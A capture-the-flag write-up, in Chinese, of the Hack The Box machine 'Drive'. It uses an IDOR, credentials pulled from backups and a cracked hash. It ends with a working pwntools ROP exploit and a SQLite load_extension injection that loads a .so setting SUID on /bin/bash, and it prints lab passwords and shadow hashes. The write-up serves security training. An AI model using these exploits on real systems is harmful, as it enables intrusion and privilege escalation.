基本信息

端口扫描

22,80,和被过滤的3000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -sC -sV -Pn 10.10.11.235
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-16 13:26 CST
Nmap scan report for 10.10.11.235
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.11 seconds

80

需要加hosts:

1
10.10.11.235 drive.htb

网盘服务,命名由Google Drive变换而来:

Drive

随意注册登录,测试上传只能传一些无害文件,查看可以看到一些公开的文件(除了第一个,其他都是别人传的):

block idor

公开文件没法直接修改id查看非公开,回到自己的面板,可以对自己上传的文件进行reserve即block操作:

这个接口存在IDOR,直接修改ID即可查看他人文件,在id为79的文件中得到用户名和密码:

1
2
martin
Xk4@KjyrYv8t194L!

martin

得到的用户名密码可以直接ssh登录,查看端口可以发现前面外部被过滤的3000:

gitea

转发端口访问,发现是gitea:

1
ssh -L 3000:127.0.0.1:3000 martin@10.10.11.235

前面drive里得到的信息也提到这个代码仓库,同样使用martin账号密码登录(使用邮箱,或者passwd文件中得到全名martin cruz),:

1
2
martin@drive.htb / martinCruz
Xk4@KjyrYv8t194L!

发现一个有访问权限的repo:

DoodleGrive

Repo里可以发现一个sh文件,看代码是加密备份sqlite3文件:

1
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3

backup

几个压缩包分别解压查看sqlite3文件,得到一些hash,其中一条可以破解出tom现在的密码:

1
2
3
4
5
6
7
8
9
7z x -p'H@ckThisP@ssW0rDIfY0uC@n:)' 1_Nov_db_backup.sqlite3.7z

sqlite> select * from accounts_customuser;

sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a

sudo hashcat -m 124 hash.txt ~/Tools/dict/rockyou.txt

tom:johnmayer7

user flag

tom用户ssh登录:

doodleGrive-cli

当前用户目录有个suid的doodleGrive-cli,查看说明,测试运行,需要用户名和密码,和之前得到的那些不同:

下载程序到本地分析:

1
scp tom@10.10.11.235:/home/tom/doodleGrive-cli .

反编译结果中可以得到可用用户名和密码:

1
2
moriarty
findMeIfY0uC@nMr.Holmz!

使用得到的用户名密码测试,是用来管理网站那边用户的程序:

这个程序两种利用方式,一种面向二进制选手,另一种是常规web方式

格式化字符串

分析代码,输入过滤了一些特殊字符,然后输入的用户名直接进入到printf中,导致格式化字符串:

bof

然后输入密码部分,分配的buffer只有56,但fgets 400,导致溢出,但存在canary:

那二进制方式就很明确了,结合上面的格式化字符串来泄漏canary后进行rop

do_system

程序中也存在do_system函数调用sh,那就是很简单的rop来执行这个函数:

activate_user_account

常规web方式,main_menu的选项5,输入的用户名过滤后拼接到执行的sqlite命令中:

各种常用的命令注入方式都被过滤了,但sqlite可以使用load_extention运行时加载so文件:

提权 & root flag

pwn方式

二进制方式,简单分析可以确定canary的索引15,然后就是基础rop去调用do_system,或者直接交给pwntools自动chain,环境变量问题要用绝对路径:

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.arch='amd64'

target = './doodleGrive-cli'
e = ELF(target)

ssh_host = '10.10.11.235'
ssh_user = 'tom'
ssh_pass = 'johnmayer7'
ssh_port = 22

sh = ssh(host=ssh_host, user=ssh_user, password=ssh_pass, port=ssh_port)
p = sh.run('./doodleGrive-cli')

p.recvuntil(b"Enter Username:\n")
p.sendline(b"%15$llx")
p.recvuntil(b"Enter password for ")
canary = int(p.recv(16),16)
log.info(f"Leaked canary: {hex(canary)}")

rop = ROP(e)
rop.raw(rop.find_gadget(['ret']).address)
rop.system(next(e.search(b"/bin/sh\x00")))

payload = b"A" * 56 + p64(canary) + b"B" * 8 + rop.chain()
p.sendline(payload)
p.interactive()

web方式

自己编译一个so文件:

1
gcc -shared miao.c -o miao.so -nostartfiles -fPIC

这里注入也有两种方式,一种是直接闭合用户名后用char函数来指定so路径:

1
2
3
4
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,48))+"

# 45 46 47 -> ./0

另一种是网站那边创建用户,邮箱使用so路径,然后再回到elf这里加载:

1
2
3
email : /tmp/miao1/miao@miao.so

miao1"=(1)AND+load_extension(email)+"

so.c

1
2
3
4
5
6
7
//gcc -shared loadme.c -o loadme.so -nostartfiles -fPIC
#include <stdio.h>
#include <stdlib.h>

void _init() {
system("/usr/bin/chmod +s /bin/bash");
}

shadow

1
2
3
4
root:$6$T11qODg0Qumrq9Zn$3t1nyBLHtah8HAmx80RXRCz6.9tPi0GL7GHMCiWquMQGh/TTrukX8jATmZ5MHDDWu0m4My.HGe29XEsDc2R/k1:19598:0:99999:7:::
martin:$6$rR6GFOnwLAEfaINj$RI18xy0ydQaNLQLP90x0JPCfhpl4CEDKDyXVscLYv6idtU8qIFwwZ71mgYXo5szToDDJH37kLN937OvQjdVHt/:19351:0:99999:7:::
cris:$6$rDaC40keXaKXBEPB$oF7NfmyZzRJQ9np3azTYVn.Pt7GVkrfVokUNbJCJ1JLuPVsfI.HKZlUoSfGJu7XQjoiHBAeZI0edCx6yw4aLI0:19351:0:99999:7:::
tom:$6$XHCSbYJInqR0KJy5$SsUnEy1ct2Oish5bkryeFEVF5VqomK/qaYwvFsH36K5u6JlUsE4GbIUsOctl626xxMKLX0TvfpLTWqEKMSXan/:19352:0:99999:7:::

参考资料